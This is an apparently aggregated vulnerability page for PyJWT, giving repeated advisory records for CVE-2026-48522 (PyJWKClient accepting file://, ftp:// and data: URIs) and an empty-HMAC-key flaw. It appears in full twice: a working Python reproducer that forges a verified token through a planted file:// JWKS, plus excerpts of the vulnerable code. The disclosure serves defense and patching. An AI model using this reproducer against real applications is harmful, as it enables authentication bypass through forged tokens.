CVE-2026-48522
PyJWKClient: missing scheme allowlist enables SSRF + token forgery via file://, ftp://, data: schemes
PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem), cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface), or forge tokens that PyJWT verifies as valid. The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. This vulnerability is fixed in 2.13.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
4.2
PyJWKClient: missing scheme allowlist enables SSRF + token forgery via file://, ftp://, data: schemes
PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem), cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface), or forge tokens that PyJWT verifies as valid. The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. This vulnerability is fixed in 2.13.0.
- Record
CVE-2026-48522- CVSS 3.1
- 4.2 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N - Weakness
- CWE-441, CWE-918
- Updated
- 2026-11-02
EUVDEUVD-2026-32915
4.2
PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem), cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface), or forge tokens that PyJWT verifies as valid. The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. This vulnerability is fixed in 2.13.0.
- Record
EUVD-2026-32915- CVSS 3.1
- 4.2 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-993g-76c3-p5m4
4.2
PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes
[!NOTE] The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.
Summary
PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch.
If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:
- Cause PyJWKClient to read arbitrary local files via
file://(SSRF on local filesystem) — the file's contents are passed tojson.load. - Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).
- Forge tokens that PyJWT verifies as valid — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and
jwt.decode()accepts.
Affected versions
Tested and reproducible on PyJWT 2.11.0 and 2.12.1. Likely all versions back to PyJWKClient introduction.
Reproducer (full attack chain — verified empirically)
import jwt as pyjwt
from jwt import PyJWKClient
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json, base64, time
# Attacker generates keypair (no relation to real IdP)
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub_n = key.public_key().public_numbers().n
def b64u(n):
bl = (n.bit_length() + 7) // 8
return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode()
# Attacker writes JWK Set containing their public key to /tmp
jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256",
"n":b64u(pub_n),"e":"AQAB"}]}
with open("/tmp/attacker.json","w") as f:
json.dump(jwks, f)
# Attacker mints token signed with their private key, jku=file://
priv_pem = key.private_bytes(serialization.Encoding.PEM,
serialization.PrivateFormat.PKCS8, serialization.NoEncryption())
now = int(time.time())
token = pyjwt.encode(
{"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600},
priv_pem, algorithm="RS256",
headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"})
# Vulnerable application pattern: caller derives jku from token header
# and passes to PyJWKClient without scheme validation
header = pyjwt.get_unverified_header(token)
client = PyJWKClient(header["jku"]) # <-- accepts file:// silently
key_obj = client.get_signing_key_from_jwt(token)
decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"],
audience="target-app")
print("Token verified:", decoded)
# Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}
Cross-library evidence — PyJWT is the outlier
The same composition pattern is structurally safe in 4 other mainstream JWT libraries:
| Library | Behavior on jku=file://... | Mechanism |
|---|---|---|
| PyJWT 2.12.1 (Python) | Reads file from disk, parses, uses for signature verification | urllib default OpenerDirector includes FileHandler |
| panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG fetch() rejects non-http(s) at fetch-spec layer |
| golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | http.DefaultTransport only registers http/https |
| Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | HttpDocumentRetriever defaults RequireHttps=true |
| Spring Security NimbusJwtDecoder 6.3.4 (Java)…
- Record
GHSA-993g-76c3-p5m4- CVSS 3.1
- 4.2 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N - Weakness
- CWE-441, CWE-918
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-pxh4-856f-4h89
7.4
PyJWT: HS256/384/512 verify accepts empty HMAC key via oct JWK (PyJWK/PyJWKClient) enabling token forgery
Summary
HMACAlgorithm.from_jwk accepts a symmetric (kty=oct) JWK whose k value is
the empty string and returns a zero-length key without raising. When a token is
then verified with that key object (a PyJWK, or a PyJWK resolved by
PyJWKSet / PyJWKClient), the HMAC verifier computes
HMAC(key=b"", signing_input) and accepts any token an attacker forged with the
same empty key. The attacker needs no secret knowledge: they reproduce the digest
locally with an empty key and set the token's kid to the empty-k JWK.
The empty-key rejection that HMACAlgorithm.prepare_key performs for
string/bytes secrets (added in 2.13.0) was never propagated to the sibling
from_jwk code path, so the JWK/JWKS verification route stays exploitable. Under
default decode options this path only emits an InsecureKeyLengthWarning, not an
error, so verification still succeeds. This is the same "empty/nil HMAC key is
accepted by verify" defect the JWT ecosystem is currently closing library-side:
fast-jwt CVE-2026-44351 (CVSS 9.1) and ruby-jwt CVE-2026-45363 both added a
library-side reject-empty-HMAC-key precondition.
Affected versions
PyJWT (PyPI package pyjwt) <= 2.13.0, current master at commit
7144e4534c34810f4525dc4578a32addd8212cff. The string/bytes secret path is
already guarded in 2.13.0; the JWK/JWKS path is not.
Privilege required
Unauthenticated. Any party who can reach a JWT-verifying endpoint of an
application that verifies via a PyJWK / PyJWKSet / PyJWKClient whose oct
key has an empty k can forge tokens with arbitrary claims.
Preconditions: the verifier resolves the HMAC key from a JWK/JWKS whose oct
entry carries an empty k. This occurs when the signing secret is sourced from
an unset environment variable / unset config row / key-finder fallback that
base64url-encodes b"" into the published JWKS, or when the application trusts a
JWKS containing such an entry. The equivalent unset-secret case for the
string-secret API (jwt.decode(token, key="")) is already rejected in 2.13.0;
the JWK route is the remaining reachable surface for the same misconfiguration.
Vulnerable code
jwt/algorithms.py, HMACAlgorithm.from_jwk (line 380):
@staticmethod
def from_jwk(jwk: str | JWKDict) -> bytes:
try:
if isinstance(jwk, str):
obj: JWKDict = json.loads(jwk)
elif isinstance(jwk, dict):
obj = jwk
else:
raise ValueError
except ValueError:
raise InvalidKeyError("Key is not valid JSON") from None
if obj.get("kty") != "oct":
raise InvalidKeyError("Not an HMAC key")
return base64url_decode(obj["k"]) # <-- empty k -> b"", no rejection
Contrast the sibling prepare_key, which DID get the guard (lines 325-329):
def prepare_key(self, key: str | bytes) -> bytes:
key_bytes = force_bytes(key)
if len(key_bytes) == 0:
raise InvalidKeyError("HMAC key must not be empty.")
In jwt/api_jws.py, _verify_signature (lines 389-416) uses the PyJWK key
material directly, bypassing prepare_key, and the length warning is non-fatal
by default:
if isinstance(key, PyJWK):
if alg != key.algorithm_name:
raise InvalidAlgorithmError(
f"Token algorithm {alg!r} does not match the key's "
f"algorithm {key.algorithm_name!r}"
)
alg_obj = key.Algorithm
prepared_key = key.key # from_jwk output (b""), prepare_key not run
else:
try:
alg_obj = self.get_algorithm_by_name(alg)
except NotImplementedError as e:
raise InvalidAlgorithmError("Algorithm not supported") from e
prepared_key = alg_obj.prepare_key(key)
key_length_msg = alg_obj.check_key_length(prepared_key)
if key_length_msg:
if effective_options.get("enforce_minimum_key_length", False):
…
- Record
GHSA-pxh4-856f-4h89- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-347
- Updated
- 2026-11-02
NVD
4.2
PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem), cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface), or forge tokens that PyJWT verifies as valid. The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. This vulnerability is fixed in 2.13.0.
- Record
CVE-2026-48522- CVSS 3.1
- 4.2 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N - Weakness
- CWE-441, CWE-918
- Updated
- 2026-11-02
OSVBELL-CVE-2026-48522
4.2
- Record
BELL-CVE-2026-48522- CVSS 3.1
- 4.2 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N - Updated
- 2026-11-02
Show 20 moreShow less
OSV
4.2
PyJWKClient: missing scheme allowlist enables SSRF + token forgery via file://, ftp://, data: schemes
PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem), cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface), or forge tokens that PyJWT verifies as valid. The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. This vulnerability is fixed in 2.13.0.
- Record
CVE-2026-48522- CVSS 3.1
- 4.2 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N - Weakness
- CWE-441, CWE-918
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-48522
4.2
PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem), cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface), or forge tokens that PyJWT verifies as valid. The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. This vulnerability is fixed in 2.13.0.
- Record
DEBIAN-CVE-2026-48522- CVSS 3.1
- 4.2 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N - Updated
- 2026-11-02
OSVGHSA-993g-76c3-p5m4
4.2
PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes
[!NOTE] The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.
Summary
PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch.
If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:
- Cause PyJWKClient to read arbitrary local files via
file://(SSRF on local filesystem) — the file's contents are passed tojson.load. - Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).
- Forge tokens that PyJWT verifies as valid — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and
jwt.decode()accepts.
Affected versions
Tested and reproducible on PyJWT 2.11.0 and 2.12.1. Likely all versions back to PyJWKClient introduction.
Reproducer (full attack chain — verified empirically)
import jwt as pyjwt
from jwt import PyJWKClient
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json, base64, time
# Attacker generates keypair (no relation to real IdP)
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub_n = key.public_key().public_numbers().n
def b64u(n):
bl = (n.bit_length() + 7) // 8
return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode()
# Attacker writes JWK Set containing their public key to /tmp
jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256",
"n":b64u(pub_n),"e":"AQAB"}]}
with open("/tmp/attacker.json","w") as f:
json.dump(jwks, f)
# Attacker mints token signed with their private key, jku=file://
priv_pem = key.private_bytes(serialization.Encoding.PEM,
serialization.PrivateFormat.PKCS8, serialization.NoEncryption())
now = int(time.time())
token = pyjwt.encode(
{"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600},
priv_pem, algorithm="RS256",
headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"})
# Vulnerable application pattern: caller derives jku from token header
# and passes to PyJWKClient without scheme validation
header = pyjwt.get_unverified_header(token)
client = PyJWKClient(header["jku"]) # <-- accepts file:// silently
key_obj = client.get_signing_key_from_jwt(token)
decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"],
audience="target-app")
print("Token verified:", decoded)
# Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}
Cross-library evidence — PyJWT is the outlier
The same composition pattern is structurally safe in 4 other mainstream JWT libraries:
| Library | Behavior on jku=file://... | Mechanism |
|---|---|---|
| PyJWT 2.12.1 (Python) | Reads file from disk, parses, uses for signature verification | urllib default OpenerDirector includes FileHandler |
| panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG fetch() rejects non-http(s) at fetch-spec layer |
| golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | http.DefaultTransport only registers http/https |
| Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | HttpDocumentRetriever defaults RequireHttps=true |
| Spring Security NimbusJwtDecoder 6.3.4 (Java)…
- Record
GHSA-993g-76c3-p5m4- CVSS 3.1
- 4.2 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N - Weakness
- CWE-441, CWE-918
- Updated
- 2026-11-02
OSVGHSA-pxh4-856f-4h89
7.4
PyJWT: HS256/384/512 verify accepts empty HMAC key via oct JWK (PyJWK/PyJWKClient) enabling token forgery
Summary
HMACAlgorithm.from_jwk accepts a symmetric (kty=oct) JWK whose k value is
the empty string and returns a zero-length key without raising. When a token is
then verified with that key object (a PyJWK, or a PyJWK resolved by
PyJWKSet / PyJWKClient), the HMAC verifier computes
HMAC(key=b"", signing_input) and accepts any token an attacker forged with the
same empty key. The attacker needs no secret knowledge: they reproduce the digest
locally with an empty key and set the token's kid to the empty-k JWK.
The empty-key rejection that HMACAlgorithm.prepare_key performs for
string/bytes secrets (added in 2.13.0) was never propagated to the sibling
from_jwk code path, so the JWK/JWKS verification route stays exploitable. Under
default decode options this path only emits an InsecureKeyLengthWarning, not an
error, so verification still succeeds. This is the same "empty/nil HMAC key is
accepted by verify" defect the JWT ecosystem is currently closing library-side:
fast-jwt CVE-2026-44351 (CVSS 9.1) and ruby-jwt CVE-2026-45363 both added a
library-side reject-empty-HMAC-key precondition.
Affected versions
PyJWT (PyPI package pyjwt) <= 2.13.0, current master at commit
7144e4534c34810f4525dc4578a32addd8212cff. The string/bytes secret path is
already guarded in 2.13.0; the JWK/JWKS path is not.
Privilege required
Unauthenticated. Any party who can reach a JWT-verifying endpoint of an
application that verifies via a PyJWK / PyJWKSet / PyJWKClient whose oct
key has an empty k can forge tokens with arbitrary claims.
Preconditions: the verifier resolves the HMAC key from a JWK/JWKS whose oct
entry carries an empty k. This occurs when the signing secret is sourced from
an unset environment variable / unset config row / key-finder fallback that
base64url-encodes b"" into the published JWKS, or when the application trusts a
JWKS containing such an entry. The equivalent unset-secret case for the
string-secret API (jwt.decode(token, key="")) is already rejected in 2.13.0;
the JWK route is the remaining reachable surface for the same misconfiguration.
Vulnerable code
jwt/algorithms.py, HMACAlgorithm.from_jwk (line 380):
@staticmethod
def from_jwk(jwk: str | JWKDict) -> bytes:
try:
if isinstance(jwk, str):
obj: JWKDict = json.loads(jwk)
elif isinstance(jwk, dict):
obj = jwk
else:
raise ValueError
except ValueError:
raise InvalidKeyError("Key is not valid JSON") from None
if obj.get("kty") != "oct":
raise InvalidKeyError("Not an HMAC key")
return base64url_decode(obj["k"]) # <-- empty k -> b"", no rejection
Contrast the sibling prepare_key, which DID get the guard (lines 325-329):
def prepare_key(self, key: str | bytes) -> bytes:
key_bytes = force_bytes(key)
if len(key_bytes) == 0:
raise InvalidKeyError("HMAC key must not be empty.")
In jwt/api_jws.py, _verify_signature (lines 389-416) uses the PyJWK key
material directly, bypassing prepare_key, and the length warning is non-fatal
by default:
if isinstance(key, PyJWK):
if alg != key.algorithm_name:
raise InvalidAlgorithmError(
f"Token algorithm {alg!r} does not match the key's "
f"algorithm {key.algorithm_name!r}"
)
alg_obj = key.Algorithm
prepared_key = key.key # from_jwk output (b""), prepare_key not run
else:
try:
alg_obj = self.get_algorithm_by_name(alg)
except NotImplementedError as e:
raise InvalidAlgorithmError("Algorithm not supported") from e
prepared_key = alg_obj.prepare_key(key)
key_length_msg = alg_obj.check_key_length(prepared_key)
if key_length_msg:
if effective_options.get("enforce_minimum_key_length", False):
…
- Record
GHSA-pxh4-856f-4h89- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-347
- Updated
- 2026-11-02
OSVPYSEC-2026-175
4.2
PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem), cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface), or forge tokens that PyJWT verifies as valid. The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. This vulnerability is fixed in 2.13.0.
- Record
PYSEC-2026-175- CVSS 3.1
- 4.2 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-48522
4.2
PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem), cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface), or forge tokens that PyJWT verifies as valid. The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. This vulnerability is fixed in 2.13.0.
- Record
UBUNTU-CVE-2026-48522- CVSS 3.1
- 4.2 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N - Updated
- 2026-11-02
OSVAZL-93036 No score
CVE-2026-48522 affecting package python-jwt for versions less than 2.13.0-1
PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem), cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface), or forge tokens that PyJWT verifies as valid. The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. This vulnerability is fixed in 2.13.0.
- Record
AZL-93036- Updated
- 2026-11-02
OSVCLSA-2026-1786521955 No score
TuxCare security update for pyjwt (3 CVEs)
TuxCare rebuilt pyjwt to address 3 CVEs. Fixed in 2.3.0.post2+tuxcare.
- Record
CLSA-2026-1786521955- Updated
- 2026-11-02
OSVCLSA-2026-1792740713 No score
TuxCare security update for pyjwt (1 CVE)
TuxCare rebuilt pyjwt to address 1 CVE. Fixed in 2.10.1.post7+tuxcare.
- Record
CLSA-2026-1792740713- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11024-1 No score
python311-PyJWT-2.13.0-1.1 on GA media
These are all security issues fixed in the python311-PyJWT-2.13.0-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11024-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:21095-1 No score
Security update for python-PyJWT
This update for python-PyJWT fixes the following issues
- CVE-2026-48522:
PyJWKClientpasses URI arguments directly tourllib.request.urlopen()and allows for SSRF and token forgery (bsc#1266798). - CVE-2026-48523: verifier-side algorithm allow-list bypass when
jwt.decode()orjwt.decode_complete()are called with a PyJWK key (bsc#1266799). - CVE-2026-48524: unlimited processing of JWTs with unknown kid values by
PyJWKClient.get_signing_key()leads to unbounded JWKS endpoint requests and DoS (bsc#1266800). - CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in
b64=falsedetached JWS allows for DoS (bsc#1266801). - CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for forged HS256 tokens (bsc#1266802).
- Record
openSUSE-SU-2026:21095-1- Updated
- 2026-11-02
OSVROOT-APP-PYPI-CVE-2026-48522 No score
CVE-2026-48522 in PyJWT - Patched by Root
Root has patched CVE-2026-48522 in the PyJWT package for Root:PyPI. Multiple fixed versions available.
- Record
ROOT-APP-PYPI-CVE-2026-48522- Updated
- 2026-11-02
OSVROOT-APP-PYPI-GHSA-pxh4-856f-4h89 No score
GHSA-pxh4-856f-4h89 in PyJWT - Patched by Root
Root has patched GHSA-pxh4-856f-4h89 in the PyJWT package for Root:PyPI. Multiple fixed versions available.
- Record
ROOT-APP-PYPI-GHSA-pxh4-856f-4h89- Updated
- 2026-11-02
OSVSUSE-SU-2026:22138-1 No score
Security update for python-PyJWT
This update for python-PyJWT fixes the following issues
- CVE-2026-48522:
PyJWKClientpasses URI arguments directly tourllib.request.urlopen()and allows for SSRF and token forgery (bsc#1266798). - CVE-2026-48523: verifier-side algorithm allow-list bypass when
jwt.decode()orjwt.decode_complete()are called with a PyJWK key (bsc#1266799). - CVE-2026-48524: unlimited processing of JWTs with unknown kid values by
PyJWKClient.get_signing_key()leads to unbounded JWKS endpoint requests and DoS (bsc#1266800). - CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in
b64=falsedetached JWS allows for DoS (bsc#1266801). - CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for forged HS256 tokens (bsc#1266802).
- Record
SUSE-SU-2026:22138-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:22170-1 No score
Security update for python-PyJWT
This update for python-PyJWT fixes the following issues
- CVE-2026-48522:
PyJWKClientpasses URI arguments directly tourllib.request.urlopen()and allows for SSRF and token forgery (bsc#1266798). - CVE-2026-48523: verifier-side algorithm allow-list bypass when
jwt.decode()orjwt.decode_complete()are called with a PyJWK key (bsc#1266799). - CVE-2026-48524: unlimited processing of JWTs with unknown kid values by
PyJWKClient.get_signing_key()leads to unbounded JWKS endpoint requests and DoS (bsc#1266800). - CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in
b64=falsedetached JWS allows for DoS (bsc#1266801). - CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for forged HS256 tokens (bsc#1266802).
- Record
SUSE-SU-2026:22170-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:22220-1 No score
Security update for python-PyJWT
This update for python-PyJWT fixes the following issues
- CVE-2026-48522:
PyJWKClientpasses URI arguments directly tourllib.request.urlopen()and allows for SSRF and token forgery (bsc#1266798). - CVE-2026-48523: verifier-side algorithm allow-list bypass when
jwt.decode()orjwt.decode_complete()are called with a PyJWK key (bsc#1266799). - CVE-2026-48524: unlimited processing of JWTs with unknown kid values by
PyJWKClient.get_signing_key()leads to unbounded JWKS endpoint requests and DoS (bsc#1266800). - CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in
b64=falsedetached JWS allows for DoS (bsc#1266801). - CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for forged HS256 tokens (bsc#1266802).
- Record
SUSE-SU-2026:22220-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:22238-1 No score
Security update for python-PyJWT
This update for python-PyJWT fixes the following issues
- CVE-2026-48522:
PyJWKClientpasses URI arguments directly tourllib.request.urlopen()and allows for SSRF and token forgery (bsc#1266798). - CVE-2026-48523: verifier-side algorithm allow-list bypass when
jwt.decode()orjwt.decode_complete()are called with a PyJWK key (bsc#1266799). - CVE-2026-48524: unlimited processing of JWTs with unknown kid values by
PyJWKClient.get_signing_key()leads to unbounded JWKS endpoint requests and DoS (bsc#1266800). - CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in
b64=falsedetached JWS allows for DoS (bsc#1266801). - CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for forged HS256 tokens (bsc#1266802).
- Record
SUSE-SU-2026:22238-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:2626-1 No score
Security update for python-PyJWT
This update for python-PyJWT fixes the following issues
- CVE-2026-48522:
PyJWKClientpasses URI arguments directly tourllib.request.urlopen()and allows for SSRF and token forgery (bsc#1266798). - CVE-2026-48523: verifier-side algorithm allow-list bypass when
jwt.decode()orjwt.decode_complete()are called with a PyJWK key (bsc#1266799). - CVE-2026-48524: unlimited processing of JWTs with unknown kid values by
